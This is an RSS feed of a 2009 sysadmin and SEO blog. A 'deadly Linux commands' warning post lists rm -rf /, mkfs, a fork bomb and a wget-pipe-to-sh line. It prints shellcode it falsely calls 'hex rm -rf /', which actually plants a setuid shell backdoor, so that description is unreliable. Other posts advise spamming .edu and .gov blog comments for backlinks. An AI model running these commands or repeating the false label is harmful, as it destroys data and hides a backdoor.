<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Apache, Linux ,Seo tricks and many more &#187; vinod</title>
	<atom:link href="http://www.gossiplime.com/author/vinod/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.gossiplime.com</link>
	<description>This blog is just for all persons to know more about php, apache , linux , seo etc</description>
	<lastBuildDate>Wed, 08 Jul 2009 16:40:40 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>Link Building</title>
		<link>http://www.gossiplime.com/2009/03/link-building/</link>
		<comments>http://www.gossiplime.com/2009/03/link-building/#comments</comments>
		<pubDate>Fri, 13 Mar 2009 19:50:02 +0000</pubDate>
		<dc:creator>vinod</dc:creator>
				<category><![CDATA[SEO]]></category>
		<category><![CDATA[blog]]></category>
		<category><![CDATA[comment]]></category>
		<category><![CDATA[link]]></category>
		<category><![CDATA[link building]]></category>
		<category><![CDATA[tool]]></category>

		<guid isPermaLink="false">http://www.gossiplime.com/?p=301</guid>
		<description><![CDATA[In every webmaster forum and blog out there, the community always goes nuts over finding ways to get universities and government sites to link to you. This post is dedicated to helping those people save their money and allow them to get an unlimited amount of .edu and .gov links for free, all through the [...]]]></description>
			<content:encoded><![CDATA[<p>In every webmaster forum and blog out there, the community always goes nuts over finding ways to get universities and government sites to link to you. This post is dedicated to helping those people save their money and allow them to get an unlimited amount of .edu and .gov links for free, all through the power of google!</p>
<p>The ’site:’ feature in Google allows only results with that domain name or domain extension to show up. You can “hack” this feature to allow Google to find the most relevant university and government websites related to your sites.</p>
<p>Examples:<br />
Google query: <a href="http://www.google.com/search?q=site:.gov blog" target="_self">site:.gov</a> blog [or <a href="http://www.google.com/search?q=site%3A.edu+blog">site:.edu</a> blog]<br />
Results in: Google finds any .gov website that is running a blog or has a /blog/ directory. You can then visit these blogs and post comments (if you can find wordpress blogs like this one), and get hundreds of free .gov backlinks.<br />
[Alternative queries: 'blog' 'blogs' 'wordpress' 'comment' 'guestbook' '2007' '2006']</p>
<p>Google query: site:.edu *your niche* + blog<br />
For example: site:.edu internet marketing blog<br />
The top result is a .edu blog that links to a non edu blog, but that blog is related and is PR3 and has edu backlinks. That is also a great relevant place to comment, even if it is not directly a .edu. On the other hand, the third result was a PR3 highly related .edu internet marketing blog with zero comments. That is easy .edu backlinks!</p>
<p>You can easily replicate these queries to fit your needs, and it is highly scalable. You can find .edu, .gov, and if you are lucky, .mil blogs. If you are not as picky, you can just search specifically for the blogs without the .edu or .gov extension, and you can find some high pageranked blogs on the first pages of results. Play around with it, enjoy it, it’s free!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.gossiplime.com/2009/03/link-building/feed/</wfw:commentRss>
		<slash:comments>16</slash:comments>
		</item>
		<item>
		<title>Linux Deadly Command</title>
		<link>http://www.gossiplime.com/2009/03/linux-deadly-command/</link>
		<comments>http://www.gossiplime.com/2009/03/linux-deadly-command/#comments</comments>
		<pubDate>Tue, 03 Mar 2009 06:32:19 +0000</pubDate>
		<dc:creator>vinod</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[command]]></category>
		<category><![CDATA[deadly]]></category>

		<guid isPermaLink="false">http://www.gossiplime.com/?p=287</guid>
		<description><![CDATA[1. Code: CODE rm -rf / This command will recursively and forcefully delete all the files inside the root directory. 2. Code: CODE char esp[] __attribute__ ((section(&#8220;.text&#8221;))) /* e.s.p release */ = &#8220;\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68&#8243; &#8220;\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99&#8243; &#8220;\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7&#8243; &#8220;\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56&#8243; &#8220;\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31&#8243; &#8220;\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69&#8243; &#8220;\x6e\x2f\x73\x68\x00\x2d\x63\x00&#8243; &#8220;cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;&#8221;; This is the hex version of [rm -rf /] [...]]]></description>
			<content:encoded><![CDATA[<p>1. Code:<br />
<!--c1--></p>
<div class="codetop">CODE</div>
<div class="codemain"><!--ec1-->rm -rf /<!--c2--></div>
<p><!--ec2--></p>
<p><span>This command will recursively and forcefully <span class="IL_LINK_STYLE" style="font-weight: 400; font-size: 13px; color: #0000ff; font-style: normal; font-family: verdana,geneva,lucida,'lucida grande',arial,helvetica,sans-serif; text-decoration: underline;">delete all</span><span> the files inside the <span class="IL_LINK_STYLE" style="font-weight: 400; font-size: 13px; color: #0000ff; font-style: normal; font-family: verdana,geneva,lucida,'lucida grande',arial,helvetica,sans-serif; text-decoration: underline;">root directory</span>.</span></span></p>
<p>2. Code:<br />
<!--c1--></p>
<div class="codetop">CODE</div>
<div class="codemain"><!--ec1-->char esp[] __attribute__ ((section(&#8220;.text&#8221;))) /* e.s.p<br />
release */<br />
= &#8220;\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68&#8243;<br />
&#8220;\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99&#8243;<br />
&#8220;\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7&#8243;<br />
&#8220;\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56&#8243;<br />
&#8220;\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31&#8243;<br />
&#8220;\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69&#8243;<br />
&#8220;\x6e\x2f\x73\x68\x00\x2d\x63\x00&#8243;<br />
&#8220;cp -p /bin/sh /tmp/.beyond; chmod 4755<br />
/tmp/.beyond;&#8221;;<!--c2--></div>
<p><!--ec2--></p>
<p>This is the hex version of [rm -rf /] that can deceive even the rather experienced Linux users.</p>
<p>3. Code:<br />
<!--c1--></p>
<div class="codetop">CODE</div>
<div class="codemain"><!--ec1-->mkfs.ext3 /dev/sda<!--c2--></div>
<p><!--ec2--></p>
<p>This will reformat or wipeout all the files of the device that is mentioned after the mkfs command.</p>
<p>4. Code:<br />
<!--c1--></p>
<div class="codetop">CODE</div>
<div class="codemain"><!--ec1--> <img src='http://www.gossiplime.com/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' /> ){:|:&amp;};:<!--c2--></div>
<p><!--ec2--></p>
<p>Known as forkbomb, this command will tell your system to execute a huge number of processes until the system freezes. This can often lead to corruption of data.</p>
<p>5. Code:<br />
<!--c1--></p>
<div class="codetop">CODE</div>
<div class="codemain"><!--ec1-->any_command &gt; /dev/sda<!--c2--></div>
<p><!--ec2--><br />
With this command, raw data will be written to a block device that can usually clobber the filesystem resulting in total loss of data.</p>
<p>6. Code:<br />
<!--c1--></p>
<div class="codetop">CODE</div>
<div class="codemain"><!--ec1-->wget http://some_untrusted_source -O- | sh<!--c2--></div>
<p><!--ec2--></p>
<p>Never download from untrusted sources, and then execute the possibly malicious codes that they are giving you.</p>
<p>7. Code:<br />
<!--c1--></p>
<div class="codetop">CODE</div>
<div class="codemain"><!--ec1-->mv /home/yourhomedirectory/* /dev/null<!--c2--></div>
<p><!--ec2--></p>
<p>This command will move all the files inside your home directory to a place that doesn&#8217;t exist; hence you will never ever see those files again.</p>
<p><span>There are of course other equally deadly <span class="IL_SPAN"><br />
<input name="IL_MARKER" type="hidden" />Linux commands</span> that I fail to include here, so if you have something to add, please share it with us via comment. </span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.gossiplime.com/2009/03/linux-deadly-command/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Google Sandbox</title>
		<link>http://www.gossiplime.com/2009/02/google-sandbox/</link>
		<comments>http://www.gossiplime.com/2009/02/google-sandbox/#comments</comments>
		<pubDate>Fri, 27 Feb 2009 13:02:19 +0000</pubDate>
		<dc:creator>vinod</dc:creator>
				<category><![CDATA[SEO]]></category>
		<category><![CDATA[google sandbox]]></category>
		<category><![CDATA[link building]]></category>
		<category><![CDATA[optmize website]]></category>

		<guid isPermaLink="false">http://www.gossiplime.com/?p=283</guid>
		<description><![CDATA[The Google sandbox is a concept that has been coined to describe the effect that new websites have in Google’s search results. New websites do not behave in the same way in Google’s search results as older, more established websites. It seems that Google is less inclined to rank newer websites until they have proven [...]]]></description>
			<content:encoded><![CDATA[<p>The Google sandbox is a concept that has been coined to describe the effect that new websites have in Google’s search results.</p>
<p>New websites do not behave in the same way in Google’s search results as older, more established websites. It seems that Google is less inclined to rank newer websites until they have proven themselves and gone through a probationary period. This seems to be a period of 90 to 120 days.</p>
<p>This is not to say that everything you do is pointless within this time, it just means that your efforts will probably be put on hold until this period has passed.</p>
<p>The Google sandbox could be used by Google for many things other than just new websites. Google could also use this for websites that it believes are not playing fair or that have suddenly gained large numbers of inward links.</p>
<p>If you have a new website you should make your changes and optimize your website gradually. This includes building links to your website. You should try to build links slowly over time instead of adding a hundred in one sitting. This sudden spike of inward links could cause you problems. It would look unnatural, as links are not normally achieved this fast.</p>
<p>There are several ways you can deal with the Google sandbox and its effects. including:</p>
<p>    * Use an existing older domain name instead of buying a new one.<br />
    * Build links slowly over time<br />
    * Optimize your website slowly<br />
    * In the early days, concentrate on other search engines<br />
    * Utilize pay per click (PPC) for your initial placement</p>
<p>The Google sandbox effect is not a recognized algorithm by Google, it is just a phrase to describe the effect often seen with new websites that have only recently been found by Google.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.gossiplime.com/2009/02/google-sandbox/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>How to get backlinks from .edu sites ?</title>
		<link>http://www.gossiplime.com/2009/02/how-to-get-backlinks-from-edu-sites/</link>
		<comments>http://www.gossiplime.com/2009/02/how-to-get-backlinks-from-edu-sites/#comments</comments>
		<pubDate>Fri, 27 Feb 2009 12:52:42 +0000</pubDate>
		<dc:creator>vinod</dc:creator>
				<category><![CDATA[SEO]]></category>
		<category><![CDATA[Backlink]]></category>
		<category><![CDATA[dofollow no nofollow]]></category>
		<category><![CDATA[link building]]></category>

		<guid isPermaLink="false">http://www.gossiplime.com/?p=280</guid>
		<description><![CDATA[Everyone wants to make Backlink Here we go: Just go to google search engine and enter the code below: site:.edu inurl:blog “comment” -”you must be logged in” -”posting closed” -”comment closed” “keyword” Where it says keyword put the keyword you want to search for to match your site. Now to break this down a bit [...]]]></description>
			<content:encoded><![CDATA[<p>Everyone wants to make Backlink</p>
<p>Here we go: Just go to google search engine and enter the code below:</p>
<p>site:.edu inurl:blog “comment” -”you must be logged in” -”posting closed” -”comment closed” “keyword”</p>
<p>Where it says keyword put the keyword you want to search for to match your site.</p>
<p>Now to break this down a bit it will sort through all the .edu blogs and only pull ones that allow a comment and match your keyword. As you see we had it take out the blogs that were closed for comments, ones that required you log in, and posting closed.</p>
<p>There you have it, now get to work and start getting some quality .edu backlinks.</p>
<p>Hope you all like this post <img src='http://www.gossiplime.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.gossiplime.com/2009/02/how-to-get-backlinks-from-edu-sites/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Modify ssh Welcome message</title>
		<link>http://www.gossiplime.com/2009/02/modify-ssh-welcome-message/</link>
		<comments>http://www.gossiplime.com/2009/02/modify-ssh-welcome-message/#comments</comments>
		<pubDate>Mon, 09 Feb 2009 10:29:33 +0000</pubDate>
		<dc:creator>vinod</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[log]]></category>
		<category><![CDATA[putty]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[server]]></category>
		<category><![CDATA[ssh]]></category>

		<guid isPermaLink="false">http://www.gossiplime.com/?p=262</guid>
		<description><![CDATA[Hi friends if you want to create a ssh login message for your server if any buddy login with ssh they will get a welcome message. Lets Start Login with root password pico /etc/motd You will get a welcome screen you can modify it anything you want to show to your users. who logged via [...]]]></description>
			<content:encoded><![CDATA[<p>Hi friends if you want to create a ssh login message for your server if any buddy login with ssh they will get a welcome message.<br />
Lets Start Login with root password</p>
<blockquote><p>pico /etc/motd</p></blockquote>
<p>You will get a welcome screen you can modify it anything you want to show to your users. who logged via ssh.  Write something like this<br />
This computerized system is designed for registered users. All activity is recorded and investigated by the individual system regularly. Those without power or more than their rights when using this system to cancel all its services are subject to. Any illegal services or the user of the server or attempt to withdraw their services in the conduct of local law enforcement to notify the user of law will be finalized and will be punished. Anyone using this system consents to these terms.</p>
<blockquote><p>Now type Ctrl+X then hit Y and enter</p></blockquote>
<p>now your welcome message is now saved</p>
<p>Logout of SSH then log back in, you&#8217;ll see your new greeting.. <img src='http://www.gossiplime.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.gossiplime.com/2009/02/modify-ssh-welcome-message/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>PHP Spam Injection Protect it with Apache ModSecurity</title>
		<link>http://www.gossiplime.com/2009/02/php-spam-injection-protect-it-with-apache-modsecurity/</link>
		<comments>http://www.gossiplime.com/2009/02/php-spam-injection-protect-it-with-apache-modsecurity/#comments</comments>
		<pubDate>Mon, 02 Feb 2009 13:17:38 +0000</pubDate>
		<dc:creator>vinod</dc:creator>
				<category><![CDATA[Apache]]></category>
		<category><![CDATA[Linux.Apace]]></category>
		<category><![CDATA[mod_security]]></category>
		<category><![CDATA[server security]]></category>
		<category><![CDATA[webserver]]></category>

		<guid isPermaLink="false">http://www.gossiplime.com/?p=219</guid>
		<description><![CDATA[From my old experience with my server From time to time we work with clients who would like to upgrade their web sites. Often their site is composed of various one-off applications &#8212; typically PHP-based &#8212; that someone built for them. More often than not, these applications were not developed with security in mind. Our [...]]]></description>
			<content:encoded><![CDATA[<div class="paragraph Free_Form" style="line-height: 14pt; margin-bottom: 0pt; margin-top: 0pt; padding-bottom: 16pt; padding-top: 16pt;"><span style="line-height: 14pt;">From my old experience with my server From time to time we work with clients who would like to </span><span style="line-height: 14pt;">upgrade</span><span style="line-height: 14pt;"> their web sites. </span><span style="line-height: 14pt;">Often</span><span style="line-height: 14pt;"> their site is composed of various one-off applications &#8212; typically PHP-based &#8212; that someone built for them. More often than not, these applications were not developed with security in mind.</span></div>
<div class="paragraph Free_Form" style="margin-bottom: 0pt; margin-top: 0pt; padding-bottom: 16pt; padding-top: 0pt; line-height: 14pt;">Our first reaction is to pull the plug, analyze, and rebuild a secure and scalable solution. But pulling the plug is usually not an option. If a company relies on an application for leads or sales, they probably can&#8217;t afford to shut it down for any length of time. Under these circumstances, triage is usually the best one can hope for.</div>
<div class="paragraph Free_Form" style="line-height: 14pt; margin-bottom: 0pt; margin-top: 0pt; padding-bottom: 16pt; padding-top: 0pt;"><span style="line-height: 14pt;">Fortunately, t</span><span style="line-height: 14pt;">here are a few things one can do to stem the bleeding. One of the more common problems with PHP-based applications is that they can allow the injection of malicious content, such as SQL or email spam. In some cases we find that over 95% of a client&#8217;s ISP traffic is coming from </span><span style="line-height: 14pt;">s</span><span style="line-height: 14pt;">pam injection. The solution? Grab an industrial size helping of Apache </span><a style="color: #000099; line-height: 14pt; opacity: 1; text-decoration: underline;" title="http://www.modsecurity.org/" href="http://www.modsecurity.org/">mod_security</a><span style="line-height: 14pt;">.</span></div>
<div class="paragraph Free_Form" style="line-height: 14pt; margin-bottom: 0pt; margin-top: 0pt; padding-bottom: 16pt; padding-top: 0pt;"><span style="line-height: 14pt;">What is it? From the </span><a style="color: #000099; line-height: 14pt; opacity: 1; text-decoration: underline;" title="http://www.modsecurity.org/" href="http://www.modsecurity.org/">ModSecurity</a><span style="line-height: 14pt;"> home page:</span></div>
<div class="paragraph Free_Form" style="margin-bottom: 0pt; margin-left: 32pt; margin-top: 0pt; text-indent: 0pt; font-family: 'Times-Roman','Times','Times New Roman','serif'; font-size: 12pt; font-style: italic; line-height: 14pt;">ModSecurityTM is an open source intrusion detection and prevention engine for web applications (or a web application firewall). Operating as an Apache Web server module or standalone, the purpose of ModSecurity is to increase web application security, protecting web applications from known and unknown attacks.</div>
<div class="paragraph Free_Form" style="line-height: 14pt; margin-bottom: 0pt; margin-top: 0pt; padding-bottom: 16pt; padding-top: 16pt;"><span style="line-height: 14pt;">Essentially, it inspects web traffic passing through the web server for suspicious content </span><span style="line-height: 14pt;">as well as</span><span style="line-height: 14pt;"> attempts to trigger buffer overflows, etc. When it finds such content, it can stop the traffic and/or log the incident.</span></div>
<div class="paragraph Free_Form" style="line-height: 14pt; margin-bottom: 0pt; margin-top: 0pt; padding-bottom: 16pt; padding-top: 0pt;"><span style="line-height: 14pt;">To put mod_security to work for you, f</span><span style="line-height: 14pt;">irst, </span><a style="color: #000099; line-height: 14pt; opacity: 1; text-decoration: underline;" title="http://www.modsecurity.org/download/index.html" href="http://www.modsecurity.org/download/index.html">download</a><span style="line-height: 14pt;"> and unpack the tarball, build and install the DSO, and update Apache’s httpd.con</span><span style="line-height: 14pt;">f file.</span></div>
<div class="paragraph Free_Form" style="margin-bottom: 0pt; margin-top: 0pt; padding-bottom: 16pt; padding-top: 0pt; font-family: 'ArialMT','Arial','sans-serif'; font-size: 10pt; line-height: 11pt;">cd /usr/local; tar xzf /root/modsecurity-apache-1.9.4.tar.gz<br />
cd /usr/local/modsecurity-apache-1.9.4/apache2<br />
/usr/local/apache2/bin/apxs -cia mod_security.c</div>
<div class="paragraph Free_Form" style="line-height: 14pt; margin-bottom: 0pt; margin-top: 0pt; padding-bottom: 16pt; padding-top: 0pt;"><span style="line-height: 14pt;">Paste the ModSecurity minimal recommended filtering rules into your httpd.conf file.  Here are the first few lines from from the online manual&#8217;s </span><a style="color: #000099; line-height: 14pt; opacity: 1; text-decoration: underline;" title="http://www.modsecurity.org/documentation/modsecurity-apache/1.9.3/modsecurity-manual.html#aa-recommended_configuration" href="http://www.modsecurity.org/documentation/modsecurity-apache/1.9.3/modsecurity-manual.html#aa-recommended_configuration">Appendix A: Recommended Configuration</a><span style="line-height: 14pt;">:</span></div>
<div class="paragraph Free_Form" style="margin-bottom: 0pt; margin-top: 0pt; font-family: 'Courier','serif'; font-size: 10pt; line-height: 12pt;"># Turn ModSecurity On</div>
<div class="paragraph Free_Form" style="margin-bottom: 0pt; margin-top: 0pt; font-family: 'Courier','serif'; font-size: 10pt; line-height: 12pt;">SecFilterEngine On</div>
<div class="paragraph Free_Form" style="margin-bottom: 0pt; margin-top: 0pt; font-family: 'Courier','serif'; font-size: 10pt; line-height: 12pt;"># Reject requests with status 403</div>
<div class="paragraph Free_Form" style="margin-bottom: 0pt; margin-top: 0pt; font-family: 'Courier','serif'; font-size: 10pt; line-height: 12pt;">SecFilterDefaultAction &#8220;deny,log,status:403&#8243;</div>
<div class="paragraph Free_Form" style="margin-bottom: 0pt; margin-top: 0pt; font-family: 'Courier','serif'; font-size: 10pt; line-height: 12pt;"># Some sane defaults</div>
<div class="paragraph Free_Form" style="margin-bottom: 0pt; margin-top: 0pt; font-family: 'Courier','serif'; font-size: 10pt; line-height: 12pt;">SecFilterScanPOST On</div>
<div class="paragraph Free_Form" style="margin-bottom: 0pt; margin-top: 0pt; font-family: 'Courier','serif'; font-size: 10pt; line-height: 12pt;">SecFilterCheckURLEncoding On</div>
<div class="paragraph Free_Form" style="margin-bottom: 0pt; margin-top: 0pt; font-family: 'Courier','serif'; font-size: 10pt; line-height: 12pt;">SecFilterCheckUnicodeEncoding Off</div>
<div class="paragraph Free_Form" style="line-height: 14pt; margin-bottom: 0pt; margin-top: 0pt;"><span style="line-height: 14pt;">If you&#8217;d just like to see if someone is trying to exploit your site, you can set up ModSecurity to simply audit your traffic.  The lines </span></div>
<div class="paragraph Free_Form" style="margin-bottom: 0pt; margin-top: 0pt; font-family: 'Courier','serif'; font-size: 10pt; line-height: 12pt;"># Log rule violations, but allow the requests</div>
<div class="paragraph Free_Form" style="margin-bottom: 0pt; margin-top: 0pt; font-family: 'Courier','serif'; font-size: 10pt; line-height: 12pt;">SecFilterDefaultAction &#8220;log,pass&#8221;</div>
<div class="paragraph Free_Form" style="line-height: 14pt; margin-bottom: 0pt; margin-top: 0pt;">will do that for you.  However, please note that if you want to merely log rule violations without denying the traffic, you must not include any implicit validations (URL encoding validation, Unicode  encoding validation, cookie format validation, and byte range  restrictions) in your rules.When you are satisfied with your rules, you can deny the traffic by changing<span style="line-height: 14pt;"> the default action to this:</span></div>
<div class="paragraph Free_Form" style="margin-bottom: 0pt; margin-top: 0pt; font-family: 'Courier','serif'; font-size: 10pt; line-height: 12pt;"># Deny requests and log with status 403</div>
<div class="paragraph Free_Form" style="line-height: 14pt; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: 'Courier','serif'; font-size: 10pt; line-height: 12pt;">SecFilterDefaultAction &#8220;deny,log,status:403&#8243;</span></div>
<div class="paragraph Free_Form" style="line-height: 14pt; margin-bottom: 0pt; margin-top: 0pt; padding-bottom: 16pt; padding-top: 16pt;"><span style="line-height: 14pt;">Once you&#8217;ve got a bunch of traffic in your audit log, you can grep through it to see if you&#8217;ve got visitors with bad intentions:</span></div>
<div class="paragraph Free_Form" style="line-height: 14pt; margin-bottom: 0pt; margin-top: 0pt; padding-bottom: 16pt; padding-top: 0pt;"><span style="font-family: 'ArialMT','Arial','sans-serif'; font-size: 10pt; line-height: 11pt;">grep -i &#8216;to|bcc|cc&#8217; audit_log | less</span><span style="line-height: 14pt;"><br />
or<br />
</span><span style="font-family: 'ArialMT','Arial','sans-serif'; font-size: 10pt; line-height: 11pt;">grep -i &#8216;to|bcc|cc&#8217; audit_log | wc -l</span></div>
<div class="paragraph Free_Form" style="line-height: 14pt; margin-bottom: 0pt; margin-top: 0pt; padding-bottom: 16pt; padding-top: 0pt;"><span style="line-height: 14pt;">You may find lots of suspicious lines. In fact, you may find that some spammers are including portions of books, stories, or other nonsense, presumably to get past the final recipients&#8217; </span><span style="line-height: 14pt;">B</span><span style="line-height: 14pt;">ayesian spam filters.</span></div>
<div class="paragraph Free_Form" style="line-height: 14pt;">To block a common PHP mail injection exploit, add a rule like this to your httpd.conf file in the ModSecurity section:</div>
<div class="paragraph Free_Form" style="margin-bottom: 0pt; margin-top: 0pt; font-family: 'Courier','serif'; font-size: 10pt; line-height: 12pt;"># necessary to stop spammers doing mail injection into PHP mail forms!!!<br />
SecFilterSelective ARGS_VALUES &#8220;\n[[:space:]]*(to|bcc|cc)[[:space:]]*:.*@&#8221;</div>
<div class="paragraph Free_Form" style="line-height: 14pt; margin-bottom: 0pt; margin-top: 0pt; padding-bottom: 16pt; padding-top: 16pt;"><span style="line-height: 14pt;">The ModSecurity site also conveniently includes a </span><a style="color: #000099; line-height: 14pt; opacity: 1; text-decoration: underline;" title="http://www.modsecurity.org/download/modsecurity-rules-current.tar.gz" href="http://www.modsecurity.org/download/modsecurity-rules-current.tar.gz">package of rules</a><span style="line-height: 14pt;">, in</span><span style="line-height: 14pt;">cluding PHP-related rules,</span><span style="line-height: 14pt;"> grouped by function. </span><span style="line-height: 14pt;">Note that there are “SQL Injection Attack” rules in the “general” conf file. Y</span><span style="line-height: 14pt;">ou can include the</span><span style="line-height: 14pt;"> rule groups you want by using</span><span style="line-height: 14pt;"> an &#8220;Include&#8221; directive in the ModSecurity section of your httpd.conf file</span><span style="line-height: 14pt;">; i.e. “Include conf/modsecurity-php.conf”.</span></div>
<div class="paragraph Free_Form" style="line-height: 14pt; margin-bottom: 0pt; margin-top: 0pt; padding-bottom: 16pt; padding-top: 0pt;"><span style="line-height: 14pt;">Th</span><span style="line-height: 14pt;">ese rules </span><span style="line-height: 14pt;">are a good place to start, as are the rules from </span><a style="color: #000099; line-height: 14pt; opacity: 1; text-decoration: underline;" title="http://gotroot.com/tiki-index.php?page=mod_security+rules" href="http://gotroot.com/tiki-index.php?page=mod_security+rules">gotroot.com</a><span style="line-height: 14pt;">. You may need to tweak these a little bit, and be selective in which rulesets you apply. For example, </span><span style="line-height: 14pt;">o</span><span style="line-height: 14pt;">ften aggregating IP addresses such as AOL proxies are blocked due to the blacklist rules, which may not be what you want.</span></div>
<div class="paragraph Free_Form" style="line-height: 14pt; padding-bottom: 0pt;">This is only a brief introduction, but I hope you will try ModSecurity for yourself, and discover how powerful it can be.</div>
]]></content:encoded>
			<wfw:commentRss>http://www.gossiplime.com/2009/02/php-spam-injection-protect-it-with-apache-modsecurity/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Install mod_security through WHM</title>
		<link>http://www.gossiplime.com/2009/02/install-mod_security-through-whm/</link>
		<comments>http://www.gossiplime.com/2009/02/install-mod_security-through-whm/#comments</comments>
		<pubDate>Sun, 01 Feb 2009 16:12:48 +0000</pubDate>
		<dc:creator>vinod</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[cpanel]]></category>
		<category><![CDATA[mod_security]]></category>
		<category><![CDATA[ssh]]></category>
		<category><![CDATA[whm]]></category>

		<guid isPermaLink="false">http://www.gossiplime.com/?p=208</guid>
		<description><![CDATA[Background: Mod_Security is an open source intrusion detection and prevention engine for web applications. Operating as an Apache Web server module, the purpose of Mod_Security is to increase web application security, protecting web applications from known and unknown attacks. Official web site: http://www.modsecurity.org More information: 1. Log to your Web Host Manager via your favorite [...]]]></description>
			<content:encoded><![CDATA[<p><strong><span style="line-height: 1.3em; font-size: medium;">Background:</span></strong><br />
<strong>Mod_Security</strong> is an open source intrusion detection and prevention engine for web applications. Operating as an Apache Web server module, the purpose of <strong>Mod_Security</strong> is to increase web application security, protecting web applications from known and unknown attacks.</p>
<p>Official web site: <a href="http://www.modsecurity.org/" target="_blank">http://www.modsecurity.org</a></p>
<p><strong><span style="line-height: 1.3em; font-size: medium;">More information:</span></strong><br />
<strong>1.</strong> Log to your Web Host Manager via your favorite web browser.</p>
<p><strong>2.</strong> On the left frame, scroll all the way down till you have reached the cPanel section, then click on <strong>Addon Modules</strong>.</p>
<p><strong>3.</strong> A new window will appear on the right frame. Scroll down until you see <strong> modsecurity</strong>, check the <strong>Install and Keep Updated</strong> field, and click on <strong>Save</strong>.</p>
<p>cPanel will now begin to download <strong>Mod_Security</strong> and add a basic security scheme. <strong style="color: black; background-color: #a0ffff;"></strong>Mod_Security will be added to Apache configuration file which is located at <strong>/usr/local/apache/conf/</strong>, and will include its main security configuration file which can be found at <strong>/usr/local/apache/conf/modsec.conf</strong></p>
<p>That&#8217;s it.<strong> </strong><strong style="color: black; background-color: #a0ffff;"></strong>mod_security is now installed on your server. Now, all that is left for you to do is to edit and add security filters.</p>
<p>You can edit Mod_Security as configuration file either through Web Host Manager, or from shell (SSH).</p>
<p><strong><span style="text-decoration: underline;">Web Host Manager</span></strong><br />
Once the installation has been completed, a new section will be added to <strong>WHM</strong> by the name of <strong>Add-ons</strong>. Scroll down on the left frame until you see it, and click on the <strong>Mod Security</strong> link.</p>
<p><strong>Note:</strong> If you are still logged to your <strong>WHM</strong> and don&#8217;t see the <strong>Add-ons</strong> section, try refreshing your browser.</p>
<p><strong><span style="text-decoration: underline;">Shell</span></strong><br />
cPanel includes three configuration files: <strong>modsec.conf</strong>, <strong>modsec.user.conf</strong>, and <strong> modsec.user.conf.default</strong>.</p>
<p>The ones that are in effect are <strong>modsec.conf</strong>, and <strong>modsec.user.conf</strong>. The file <strong>modsec.user.conf</strong> is blank by default, however, <strong>modsec.user.conf.default</strong> contains common security filters which can be applied to <strong>modsec.user.conf</strong>.</p>
<p>I recommend viewing <strong>modsec.user.conf.default</strong> before copying, and applying any security filters. Misconfiguration can do more harm than good.</p>
<p>Hope you all like this post <img src='http://www.gossiplime.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.gossiplime.com/2009/02/install-mod_security-through-whm/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>SSH slow login Problem</title>
		<link>http://www.gossiplime.com/2009/01/ssh-slow-login-problem/</link>
		<comments>http://www.gossiplime.com/2009/01/ssh-slow-login-problem/#comments</comments>
		<pubDate>Sat, 31 Jan 2009 00:01:32 +0000</pubDate>
		<dc:creator>vinod</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[dns]]></category>
		<category><![CDATA[login]]></category>
		<category><![CDATA[ssh]]></category>

		<guid isPermaLink="false">http://www.gossiplime.com/?p=192</guid>
		<description><![CDATA[SSH slow  login? Disable reverse DNS lookup when you log into the SSH server, it will do a reverse DNS lookup of the client for security reasons. Thats why it takes a time to login. vi /etc/ssh/sshd_config (and add the below line:) UseDNS no So enjoy SSH]]></description>
			<content:encoded><![CDATA[<h2>SSH slow  login? Disable reverse DNS lookup</h2>
<p>when you log into the SSH server, it will do a reverse DNS lookup of the client for security reasons. Thats why it takes a time to login.</p>
